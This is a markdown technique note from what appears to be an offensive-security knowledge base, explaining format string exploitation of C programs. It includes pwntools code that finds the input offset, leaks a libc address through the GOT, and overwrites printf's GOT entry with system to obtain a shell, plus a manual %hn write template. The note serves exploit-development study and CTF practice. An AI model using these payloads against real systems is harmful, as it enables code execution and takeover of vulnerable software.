Skip to content

Latest commit

 

History

History
63 lines (52 loc) · 2.55 KB

File metadata and controls

63 lines (52 loc) · 2.55 KB
title Format String Exploitation
type technique
tags
exploit-dev
binary
format-string
memory-corruption
arbitrary-write
phase exploitation
date_created 2026-07-14
date_updated 2026-07-14
sources
hacktricks-binexp

Format String Exploitation

Read and write primitives from an attacker-controlled format argument. For finding the sink, see [[memory-safety-bugs]]; for chaining into flow control, [[binary-exploitation]].

Format-String Exploitation (read + write primitives)

The bug: attacker text reaches the format argument of printf/fprintf/sprintf/snprintf/ syslog (e.g. printf(buffer)). Turns into an arbitrary read (%s) and an arbitrary write (%n), so it defeats canary/PIE/ASLR by leaking and then redirects flow by GOT overwrite.

Specifiers: %p/%x leak a stack slot, %s derefs a pointer arg and prints until NUL, %n writes the count-so-far to the pointed address, %hn writes 2 bytes, %hhn 1 byte, %<n>$X selects the n-th arg directly (direct parameter access).

Find your input offset on the stack:

from pwn import *
for i in range(1, 20):
    io = process("./chall")
    io.sendline(b"AAAA%%%d$x" % i)      # AAAA%1$x, AAAA%2$x, ...
    if b"41414141" in io.clean():
        log.success(f"input at offset {i}"); io.close(); break
    io.close()

Arbitrary read (leak libc/canary): place a target pointer at your offset, deref with %N$s. On x64 pad so the address lands 8-byte aligned; the address cannot lead (NUL truncates).

payload = b"%7$s".ljust(8, b"x") + p64(elf.got["puts"])   # leak puts@GOT -> libc base

Arbitrary write with fmtstr_payload (let pwntools compute the width-padding math):

# offset = where our input starts on the stack (found above)
payload = fmtstr_payload(offset, {elf.got["printf"]: libc.sym["system"]})
io.sendline(payload)
io.sendline(b"/bin/sh")     # next printf(user) now calls system(user)

Manual 2-halves write (large address written as two %hn, smallest value first, HOB/LOB):

# write 0x08049724 to addr via params 4 and 5
[addr+2][addr] %.<HOB-8>x %4$hn %.<LOB-HOB>x %5$hn

Useful targets: GOT entry of a soon-called libc func, .fini_array (loop main once more), saved return address. Windows x64 twist: a %p first-conversion leaks R9 (no varargs passed) to recover module base and defeat ASLR with no memory-disclosure primitive.

Related techniques

  • [[binary-exploitation]] - stack/heap overflow, ROP, protections
  • [[rop-techniques]] - where a GOT overwrite hands off to a chain
  • [[memory-safety-bugs]] - finding the format-string sink